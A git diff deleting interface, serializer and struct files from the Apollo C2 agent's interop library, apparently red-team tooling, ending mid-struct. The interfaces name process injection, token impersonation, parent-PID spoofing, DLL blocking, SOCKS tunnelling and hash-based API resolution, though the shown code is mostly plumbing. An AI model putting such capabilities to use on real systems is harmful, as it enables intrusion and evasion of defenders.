a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IEncryptedFileStore.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace ApolloInterop.Interfaces -{ - public interface IEncryptedFileStore - { - bool TryAddOrUpdate(string keyName, byte[] data); - - bool TryGetValue(string keyName, out byte[] data); - - string GetScript(); - void SetScript(string script); - void SetScript(byte[] script); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IFileManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IFileManager.cs deleted file mode 100644 index 64d2f289..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IFileManager.cs +++ /dev/null @@ -1,25 +0,0 @@ -using ApolloInterop.Structs.MythicStructs; -using System.Threading; - -namespace ApolloInterop.Interfaces -{ - public interface IFileManager - { - string[] GetPendingTransfers(); - void ProcessResponse(MythicTaskStatus resp); - - bool GetFile(CancellationToken ct, string taskID, string fileID, out byte[] fileBytes); - - bool PutFile(CancellationToken ct, string taskID, byte[] content, string originatingPath, out string mythicFileId, bool isScreenshot = false, string originatingHost = null); - - string GetScript(); - - void SetScript(string script); - - void SetScript(byte[] script); - - bool AddFileToStore(string keyName, byte[] data); - - bool GetFileFromStore(string keyName, out byte[] data); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IIdentityManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IIdentityManager.cs deleted file mode 100644 index 708a57ca..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IIdentityManager.cs +++ /dev/null @@ -1,34 +0,0 @@ -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Security.Principal; - -namespace ApolloInterop.Interfaces -{ - public interface IIdentityManager - { - WindowsIdentity GetCurrentPrimaryIdentity(); - WindowsIdentity GetCurrentImpersonationIdentity(); - WindowsIdentity GetOriginal(); - - bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo); - - void Revert(); - - void SetPrimaryIdentity(WindowsIdentity identity); - - void SetPrimaryIdentity(IntPtr hToken); - - void SetImpersonationIdentity(WindowsIdentity identity); - void SetImpersonationIdentity(IntPtr hToken); - - bool SetIdentity(ApolloLogonInformation token); - - IntegrityLevel GetIntegrityLevel(); - - bool IsOriginalIdentity(); - - (bool,IntPtr) GetSystem(); - - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IInjectionManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IInjectionManager.cs deleted file mode 100644 index 142ae0ce..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IInjectionManager.cs +++ /dev/null @@ -1,16 +0,0 @@ -using ApolloInterop.Classes.Core; -using System; - -namespace ApolloInterop.Interfaces -{ - public interface IInjectionManager - { - string[] GetTechniques(); - bool SetTechnique(string technique); - InjectionTechnique CreateInstance(byte[] code, int pid); - InjectionTechnique CreateInstance(byte[] code, IntPtr hProcess); - bool LoadTechnique(byte[] assembly, string name); - - Type GetCurrentTechnique(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IInjectionTechnique.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IInjectionTechnique.cs deleted file mode 100644 index ea965099..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IInjectionTechnique.cs +++ /dev/null @@ -1,7 +0,0 @@ -namespace ApolloInterop.Interfaces -{ - public interface IInjectionTechnique - { - bool Inject(string arguments = ""); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IMythicMessage.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IMythicMessage.cs deleted file mode 100644 index a32bd445..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IMythicMessage.cs +++ /dev/null @@ -1,9 +0,0 @@ -using ApolloInterop.Enums.ApolloEnums; - -namespace ApolloInterop.Interfaces -{ - public interface IMythicMessage - { - MessageType GetTypeCode(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/INamedPipeCallback.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/INamedPipeCallback.cs deleted file mode 100644 index e0d95cd0..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/INamedPipeCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System; -using System.IO.Pipes; -using ApolloInterop.Structs.ApolloStructs; - -namespace ApolloInterop.Interfaces -{ - public interface INamedPipeCallback - { - void OnAsyncConnect(PipeStream pipe, out Object state); - void OnAsyncDisconnect(PipeStream pipe, Object state); - void OnAsyncMessageReceived(PipeStream pipe, IPCData data, Object state); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IPeer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IPeer.cs deleted file mode 100644 index e64fcc5a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IPeer.cs +++ /dev/null @@ -1,15 +0,0 @@ -using ApolloInterop.Structs.MythicStructs; - -namespace ApolloInterop.Interfaces -{ - public interface IPeer - { - bool Start(); - void Stop(); - string GetUUID(); - string GetMythicUUID(); - bool Connected(); - void ProcessMessage(DelegateMessage message); - bool Finished(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IPeerManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IPeerManager.cs deleted file mode 100644 index 79a506a1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IPeerManager.cs +++ /dev/null @@ -1,12 +0,0 @@ -using ApolloInterop.Classes.P2P; -using ApolloInterop.Structs.MythicStructs; -namespace ApolloInterop.Interfaces -{ - public interface IPeerManager - { - Peer AddPeer(PeerInformation info); - bool Remove(string uuid); - bool Remove(IPeer peer); - bool Route(DelegateMessage msg); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IProcess.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IProcess.cs deleted file mode 100644 index bdc52bcb..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IProcess.cs +++ /dev/null @@ -1,18 +0,0 @@ -using ApolloInterop.Structs.ApolloStructs; -using System; - -namespace ApolloInterop.Interfaces -{ - public interface IProcess - { - bool Inject(byte[] code, string arguments = ""); - void WaitForExit(); - void WaitForExit(int milliseconds); - - bool Start(); - bool StartWithCredentials(ApolloLogonInformation logonInfo); - - bool StartWithCredentials(IntPtr hToken); - - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IProcessManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IProcessManager.cs deleted file mode 100644 index 93c675d7..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IProcessManager.cs +++ /dev/null @@ -1,14 +0,0 @@ -using ApolloInterop.Classes.Core; -using ApolloInterop.Structs.ApolloStructs; - -namespace ApolloInterop.Interfaces -{ - public interface IProcessManager - { - Process NewProcess(string lpApplication, string lpArguments, bool startSuspended = false); - bool BlockDLLs(bool status); - bool SetPPID(int pid); - bool SetSpawnTo(string lpApplication, string lpCommandLine = null, bool x64 = true); - ApplicationStartupInfo GetStartupInfo(bool x64 = true); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IRpfwdManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IRpfwdManager.cs deleted file mode 100644 index 59936ae3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IRpfwdManager.cs +++ /dev/null @@ -1,13 +0,0 @@ -using ApolloInterop.Structs.MythicStructs; -using System.Net.Sockets; -using ApolloInterop.Classes; - -namespace ApolloInterop.Interfaces -{ - public interface IRpfwdManager - { - bool Route(SocksDatagram dg); - bool AddConnection(TcpClient client, int ServerID, int port, int debugLevel, Tasking task); - bool Remove(int id); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ISerializer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ISerializer.cs deleted file mode 100644 index bff0c63b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ISerializer.cs +++ /dev/null @@ -1,18 +0,0 @@ -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Constants; - -namespace ApolloInterop.Interfaces -{ - public interface ISerializer - { - string Serialize(object obj); - T Deserialize(string msg); - - IPCChunkedData[] SerializeDelegateMessage(string message, MessageType mt, int block_size = IPC.SEND_SIZE / 2); - - // This is so we can serialize/deserialize things across named pipes, but technically - IPCChunkedData[] SerializeIPCMessage(IMythicMessage message, int block_size = IPC.SEND_SIZE); - IMythicMessage DeserializeIPCMessage(byte[] data, MessageType mt); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ISocksManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ISocksManager.cs deleted file mode 100644 index 0a43ac27..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ISocksManager.cs +++ /dev/null @@ -1,11 +0,0 @@ -using ApolloInterop.Structs.MythicStructs; - -namespace ApolloInterop.Interfaces -{ - public interface ISocksManager - { - bool Route(SocksDatagram dg); - - bool Remove(int id); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITask.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITask.cs deleted file mode 100644 index aafb1633..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITask.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System.Threading.Tasks; -namespace ApolloInterop.Interfaces -{ - public interface ITask - { - string ID(); - void Start(); - Task CreateTasking(); - void Kill(); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITaskManager.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITaskManager.cs deleted file mode 100644 index 933371bb..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITaskManager.cs +++ /dev/null @@ -1,25 +0,0 @@ -using ApolloInterop.Types.Delegates; -using ApolloInterop.Structs.MythicStructs; -using ApolloInterop.Enums.ApolloEnums; - -namespace ApolloInterop.Interfaces -{ - public interface ITaskManager - { - string[] GetExecutingTaskIds(); - bool CancelTask(string taskId); - - bool CreateTaskingMessage(OnResponse onResponse); - - bool ProcessMessageResponse(MessageResponse resp); - - void AddTaskResponseToQueue(MythicTaskResponse message); - - void AddDelegateMessageToQueue(DelegateMessage delegateMessage); - - void AddSocksDatagramToQueue(MessageDirection dir, SocksDatagram dg); - void AddRpfwdDatagramToQueue(MessageDirection dir, SocksDatagram dg); - - bool LoadTaskModule(byte[] taskAsm, string[] commands); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITcpClientCallback.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITcpClientCallback.cs deleted file mode 100644 index ba56fd47..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/ITcpClientCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -using ApolloInterop.Structs.ApolloStructs; -using System; -using System.Net.Sockets; - -namespace ApolloInterop.Interfaces -{ - public interface ITcpClientCallback - { - void OnAsyncConnect(TcpClient client, out Object state); - void OnAsyncDisconnect(TcpClient client, Object state); - void OnAsyncMessageReceived(TcpClient client, IPCData data, Object state); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IWin32ApiResolver.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IWin32ApiResolver.cs deleted file mode 100644 index 9512a63f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Interfaces/IWin32ApiResolver.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System; -using ApolloInterop.Classes.Api; - -namespace ApolloInterop.Interfaces -{ - public interface IWin32ApiResolver - { - T GetLibraryFunction(Library library, string functionName, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate; - T GetLibraryFunction(Library library, short ordinal, bool canLoadFromDisk = true, bool resolveForwards = true) where T : Delegate; - T GetLibraryFunction(Library library, string functionHash, long key, bool canLoadFromDisk=true, bool resolveForwards = true) where T : Delegate; - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Properties/AssemblyInfo.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Properties/AssemblyInfo.cs deleted file mode 100644 index 5f3c1ce2..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("ApolloInterop")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("ApolloInterop")] -[assembly: AssemblyCopyright("Copyright © 2021")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("5b5bd587-7dca-4306-b1c3-83a70d755f37")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/ApolloSerializationBinder.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/ApolloSerializationBinder.cs deleted file mode 100644 index 8701244e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/ApolloSerializationBinder.cs +++ /dev/null @@ -1,24 +0,0 @@ -using ApolloInterop.Structs.ApolloStructs; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Runtime.Serialization; -using System.Text; - -namespace ApolloInterop.Serializers -{ - public class ApolloSerializationBinder : SerializationBinder - { - public override Type BindToType(string assemblyName, string typeName) - { - if (typeName == "ApolloInterop.Structs.ApolloStructs.PeerMessage") - { - return typeof(PeerMessage); - } - else - { - return typeof(Nullable); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/EncryptedJsonSerializer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/EncryptedJsonSerializer.cs deleted file mode 100644 index fa32f0e1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/EncryptedJsonSerializer.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using System.Linq; -using System.Text; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Types; - -namespace ApolloInterop.Serializers -{ - public class EncryptedJsonSerializer : JsonSerializer, ICryptographySerializer - { - private ICryptography Cryptor; - public EncryptedJsonSerializer(ICryptography crypto) : base() - { - Cryptor = crypto; - } - - public bool UpdateUUID(string uuid) - { - return Cryptor.UpdateUUID(uuid); - } - - public bool UpdateKey(string key) - { - return Cryptor.UpdateKey(key); - } - - public string GetUUID() - { - return Cryptor.GetUUID(); - } - public override string Serialize(object msg) - { - string jsonMsg = base.Serialize(msg); - return Cryptor.Encrypt(jsonMsg); - } - - public override T Deserialize(string msg) - { - string decrypted = Cryptor.Decrypt(msg); - return base.Deserialize(decrypted); - } - - public override object Deserialize(string msg, Type t) - { - string decrypted = Cryptor.Decrypt(msg); - return base.Deserialize(decrypted, t); - } - - public override IPCChunkedData[] SerializeIPCMessage(IMythicMessage message, int blockSize = 4096) - { - string msg = Serialize(message); - byte[] bMsg = Encoding.UTF8.GetBytes(msg); - int numMessages = bMsg.Length / blockSize + 1; - IPCChunkedData[] ret = new IPCChunkedData[numMessages]; - var t = message.GetTypeCode(); - string id = Guid.NewGuid().ToString(); - for (int i = 0; i < numMessages; i ++) - { - byte[] part = bMsg.Skip(i*blockSize).Take(blockSize).ToArray(); - ret[i] = new IPCChunkedData(id, message.GetTypeCode(), i+1, numMessages, part); - } - return ret; - } - - public override IMythicMessage DeserializeIPCMessage(byte[] data, MessageType mt) - { - string enc = Encoding.UTF8.GetString(data); - Type t = MythicTypes.GetMessageType(mt); - return (IMythicMessage)Deserialize(enc, t); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/EncryptedSMBSerializer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/EncryptedSMBSerializer.cs deleted file mode 100644 index dca368b7..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/EncryptedSMBSerializer.cs +++ /dev/null @@ -1,65 +0,0 @@ -//using ApolloInterop.Interfaces; -//using ApolloInterop.Structs.ApolloStructs; -//using ApolloInterop.Structs.MythicStructs; -//using System; -//using System.Collections.Generic; -//using System.IO.Pipes; -//using System.Linq; -//using System.Text; - -//namespace ApolloInterop.Serializers -//{ -// public class EncryptedSMBSerializer : JsonSerializer, ICryptographySerializer -// { -// private ICryptography Cryptor; - -// public EncryptedSMBSerializer(ICryptography crypto) : base() -// { -// Cryptor = crypto; -// } - -// public bool UpdateUUID(string uuid) -// { -// return Cryptor.UpdateUUID(uuid); -// } - -// public bool UpdateKey(string key) -// { -// return Cryptor.UpdateKey(key); -// } - -// public string GetUUID() -// { -// return Cryptor.GetUUID(); -// } - -// public override string Serialize(object msg) -// { -// string jsonMessage = Cryptor.Encrypt(base.Serialize(msg)); -// Type t = msg.GetType(); -// PeerMessage pmsg = new PeerMessage(); -// pmsg.Message = jsonMessage; -// if (t == typeof(MessageResponse)) -// { -// pmsg.Type = Enums.ApolloEnums.MessageType.MessageResponse; -// } else if (t == typeof(CheckinMessage)) -// { -// pmsg.Type = Enums.ApolloEnums.MessageType.CheckinMessage; -// } else -// { -// throw new Exception($"Invalid message type: {t.Name}"); -// } - -// return base.Serialize(pmsg); -// } - -// public override T Deserialize(string msg) -// { -// PeerMessage pmsg = base.Deserialize(msg); -// string decrypted = Cryptor.Decrypt(pmsg.Message); -// // do some matching of T to pmsg type and throw exception if not proper. - -// } - -// } -//} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/JsonSerializer.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/JsonSerializer.cs deleted file mode 100644 index 29aecf12..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Serializers/JsonSerializer.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using System.Linq; -using System.Text; -using ApolloInterop.Interfaces; -using System.IO; -using System.Runtime.Serialization.Json; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Types; -using ApolloInterop.Enums.ApolloEnums; - -namespace ApolloInterop.Serializers -{ - public class JsonSerializer : ISerializer - { - //List _knownTypes = new List(); - public JsonSerializer() - { - //Assembly interopAsm = Assembly.GetAssembly(typeof(TaskResponse)); - //foreach(Type t in interopAsm.GetTypes()) - //{ - // if (t.FullName.StartsWith("ApolloInterop.Structs.MythicStructs") || t.FullName.StartsWith("ApolloInterop.Structs.ApolloStructs")) - // { - // _knownTypes.Add(t); - // } - //} - } - - public virtual string Serialize(object msg) - { - using (var ms = new MemoryStream()) - { - var ser = new DataContractJsonSerializer(msg.GetType()); - ser.WriteObject(ms, msg); - ms.Position = 0; - using (var sr = new StreamReader(ms)) - { - string res = sr.ReadToEnd(); - return res; - } - } - } - - public virtual T Deserialize(string msg) - { - using (var ms = new MemoryStream(Encoding.Unicode.GetBytes(msg))) - { - var deserializer = new DataContractJsonSerializer(typeof(T)); - return (T)deserializer.ReadObject(ms); - } - } - - public virtual object Deserialize(string msg, Type t) - { - using (var ms = new MemoryStream(Encoding.Unicode.GetBytes(msg))) - { - var deserializer = new DataContractJsonSerializer(t); - return deserializer.ReadObject(ms); - } - } - - public virtual IPCChunkedData[] SerializeDelegateMessage(string message, MessageType mt, int blockSize = 4096) - { - // This delegate message is already encoding from Mythic, so we just need to get the bytes - byte[] bMsg = Encoding.UTF8.GetBytes(message); - int numMessages = bMsg.Length / blockSize + 1; - IPCChunkedData[] ret = new IPCChunkedData[numMessages]; - string id = Guid.NewGuid().ToString(); - for (int i = 0; i < numMessages; i++) - { - byte[] part = bMsg.Skip(i * blockSize).Take(blockSize).ToArray(); - ret[i] = new IPCChunkedData(id, mt, i+1, numMessages, part); - } - return ret; - } - - public virtual IPCChunkedData[] SerializeIPCMessage(IMythicMessage message, int blockSize = 4096) - { - string msg = Serialize(message); - byte[] bMsg = Encoding.UTF8.GetBytes(msg); - int numMessages = bMsg.Length / blockSize + 1; - IPCChunkedData[] ret = new IPCChunkedData[numMessages]; - var t = message.GetTypeCode(); - string id = Guid.NewGuid().ToString(); - for (int i = 0; i < numMessages; i++) - { - byte[] part = bMsg.Skip(i * blockSize).Take(blockSize).ToArray(); - ret[i] = new IPCChunkedData(id, message.GetTypeCode(), i+1, numMessages, part); - } - return ret; - } - - public virtual IMythicMessage DeserializeIPCMessage(byte[] data, MessageType mt) - { - string msg = Encoding.UTF8.GetString(data); - Type t = MythicTypes.GetMessageType(mt); - return (IMythicMessage)Deserialize(msg, t); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/ApolloStructs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/ApolloStructs.cs deleted file mode 100644 index 59222428..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/ApolloStructs.cs +++ /dev/null @@ -1,184 +0,0 @@ -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Interfaces; -using System; -using System.Collections.Generic; -using System.IO.Pipes; -using System.Net.Sockets; -using System.Runtime.Serialization; -using System.Security; - -namespace ApolloInterop.Structs.ApolloStructs -{ - - [DataContract] - public struct ScreenshotInformation : IMythicMessage - { - [DataMember] - public byte[] Data; - - public ScreenshotInformation(byte[] screenBytes) - { - Data = screenBytes; - } - - public MessageType GetTypeCode() - { - return MessageType.ScreenshotInformation; - } - } - - public struct ApolloTokenInformation - { - public IntPtr Token; - public bool IsPrimary; - public bool IsImpersonatedImpersonation; - } - - public struct ApplicationStartupInfo - { - public string Application; - public string Arguments; - public int ParentProcessId; - public bool BlockDLLs; - } - - public struct ApolloLogonInformation - { - public readonly string Username; - public readonly string Password; - public readonly SecureString SecurePassword; - public readonly string Domain; - public readonly bool NetOnly; - - public ApolloLogonInformation(string username, string password, string domain = ".", bool netOnly=false) - { - if (string.IsNullOrEmpty(username)) - throw new Exception("Username cannot be null or empty."); - if (password == null) - throw new Exception("Password cannot be null."); - SecurePassword = new SecureString(); - foreach (char c in password) - SecurePassword.AppendChar(c); - SecurePassword.MakeReadOnly(); - Username = username; - Password = password; - Domain = domain; - NetOnly = netOnly; - } - } - - public struct C2ProfileData - { - public Type TC2Profile; - public Type TCryptography; - public Type TSerializer; - public Dictionary Parameters; - } - - [DataContract] - public struct PeerMessage - { - [DataMember(Name = "message")] - public string Message; - [DataMember(Name = "type")] - public MessageType Type; - } - - [DataContract] - public struct IPCChunkedData : IChunkMessage - { - [DataMember(Name = "message_type")] - public MessageType Message; - [DataMember(Name = "chunk_number")] - public int ChunkNumber; - [DataMember(Name = "total_chunks")] - public int TotalChunks; - [DataMember(Name = "id")] - public string ID; - [DataMember(Name = "data")] - public string Data; - - public IPCChunkedData(string id="", MessageType mt = 0, int chunkNum = 0, int totalChunks = 1, byte[] data = null) - { - if (string.IsNullOrEmpty(id)) - { - ID = Guid.NewGuid().ToString(); - } - else - { - ID = id; - } - Message = mt; - ChunkNumber = chunkNum; - TotalChunks = totalChunks; - Data = Convert.ToBase64String(data); - } - - public int GetChunkNumber() - { - return this.ChunkNumber; - } - - public int GetChunkSize() - { - return this.Data.Length; - } - - public int GetTotalChunks() - { - return this.TotalChunks; - } - } - - [DataContract] - public struct IPCCommandArguments : IMythicMessage - { - [DataMember(Name = "byte_data")] - public byte[] ByteData; - [DataMember(Name = "string_data")] - public string StringData; - - public MessageType GetTypeCode() - { - return MessageType.IPCCommandArguments; - } - } - - [DataContract] - public struct ExecutePEIPCMessage : IMythicMessage - { - [DataMember(Name = "executable")] - public byte[] Executable; - - [DataMember(Name = "name")] - public string ImageName; - - [DataMember(Name = "commandline")] - public string CommandLine; - - public readonly MessageType GetTypeCode() - { - return MessageType.ExecutePEIPCMessage; - } - } - - - [DataContract] - public struct ProcessResponse - { - [DataMember(Name = "jobs")] - public string[] Jobs; - [DataMember(Name = "commands")] - public string[] Commands; - } - - public struct IPCData - { - public TcpClient Client; - public NetworkStream NetworkStream; - public PipeStream Pipe; - public Object State; - public Byte[] Data; - public int DataLength; - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs deleted file mode 100644 index c1c8da19..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs +++ /dev/null @@ -1,1347 +0,0 @@ -using System; -using System.Runtime.Serialization; -using sStatusMessage = System.String; -using sMessageAction = System.String; -using ApolloInterop.Interfaces; -using ApolloInterop.Enums.ApolloEnums; -using System.Net; -using System.IO; -using ApolloInterop.Structs.ApolloStructs; -using System.Collections.Generic; -using System.Reflection; - -namespace ApolloInterop.Structs -{ - - namespace MythicStructs - { - - [Serializable] - [DataContract] - public struct ProcessInformation : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.ProcessInformation; - } - [DataMember(Name = "process_id")] - public int PID; - [DataMember(Name = "architecture")] - public string Architecture; - [DataMember(Name = "name")] - public string Name; - [DataMember(Name = "user")] - public string Username; - [DataMember(Name = "bin_path")] - public string ProcessPath; - [DataMember(Name = "parent_process_id")] - public int ParentProcessId; - [DataMember(Name = "command_line")] - public string CommandLine; - [DataMember(Name = "integrity_level")] - public int IntegrityLevel; - [DataMember(Name = "start_time")] - public string StartTime; - [DataMember(Name = "description")] - public string Description; - [DataMember(Name = "signer")] - public string Signer; - [DataMember(Name = "session_id")] - public int SessionId; - [DataMember(Name = "company_name")] - public string CompanyName; - [DataMember(Name = "window_title")] - public string WindowTitle; - [DataMember(Name = "update_deleted")] - public bool UpdateDeleted; - } - // - [DataContract] - public struct PeerInformation - { - [DataMember(Name = "host")] - public string Hostname; - [DataMember(Name = "c2_profile")] - public C2ProfileData C2Profile; - [DataMember(Name = "agent_uuid")] - public string AgentUUID; - [DataMember(Name = "callback_uuid")] - public string CallbackUUID; - } - - [DataContract] - public struct CallbackInformation - { - [DataMember(Name = "agent_callback_id")] - public string UUID; - - [DataMember(Name = "host")] public string Host; - [DataMember(Name = "id")] public int Id; - [DataMember(Name = "payload")] public PyPayload Payload; - - [DataMember(Name = "c2profileparametersinstances")] - public PyC2ProfileParameterInstance[] ParameterInstances; - - [DataMember(Name = "__typename")] public string PyType; - } - - [DataContract] - public struct PyPayload - { - [DataMember(Name = "id")] public int Id; - [DataMember(Name = "uuid")] public string UUID; - [DataMember(Name = "__typename")] public string PyType; - } - - - [DataContract] - public struct PyC2Profile - { - [DataMember(Name = "id")] public int Id; - [DataMember(Name = "name")] public string Name; - [DataMember(Name = "__typename")] public string PyType; - } - - [DataContract] - public struct PyC2ProfileParameter - { - [DataMember(Name = "crypto_type")] public bool IsCrypto; - [DataMember(Name = "name")] public string Name; - [DataMember(Name = "id")] public int Id; - [DataMember(Name = "__typename")] public string PyType; - } - - [DataContract] - public struct PyC2ProfileParameterInstance - { - [DataMember(Name = "enc_key_base64")] public string Base64EncryptionKey; - [DataMember(Name = "dec_key_base64")] public string Base64DecryptionKey; - [DataMember(Name = "value")] public string Value; - [DataMember(Name = "id")] public int Id; - [DataMember(Name = "c2_profile_id")] public int C2ProfileId; - - [DataMember(Name = "c2profileparameter")] - public PyC2ProfileParameter C2ProfileParameter; - - [DataMember(Name = "__typename")] public string PyType; - } - - - [DataContract] - public struct LinkInformation - { - [DataMember(Name = "id")] public int Id; - [DataMember(Name = "c2profile")] public PyC2Profile Profile; - [DataMember(Name = "direction")] public EdgeDirection Direction; - [DataMember(Name = "destination")] public CallbackInformation Destination; - [DataMember(Name = "source")] public CallbackInformation Source; - [DataMember(Name = "end_timestamp")] public string EndTimestamp; - [DataMember(Name = "__typename")] public string PyType; - [DataMember(Name = "display")] public string DisplayString; - } - - // Profile data sent from the Mythic Server - [DataContract] - public struct C2ProfileData : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.C2ProfileData; - } - [DataMember(Name = "name")] - public string Name; - [DataMember(Name = "is_p2p")] - public bool IsP2P; - [DataMember(Name = "parameters")] - public C2ProfileInstanceParameters Parameters; - } - - [DataContract] - public struct MythicEncryption - { - 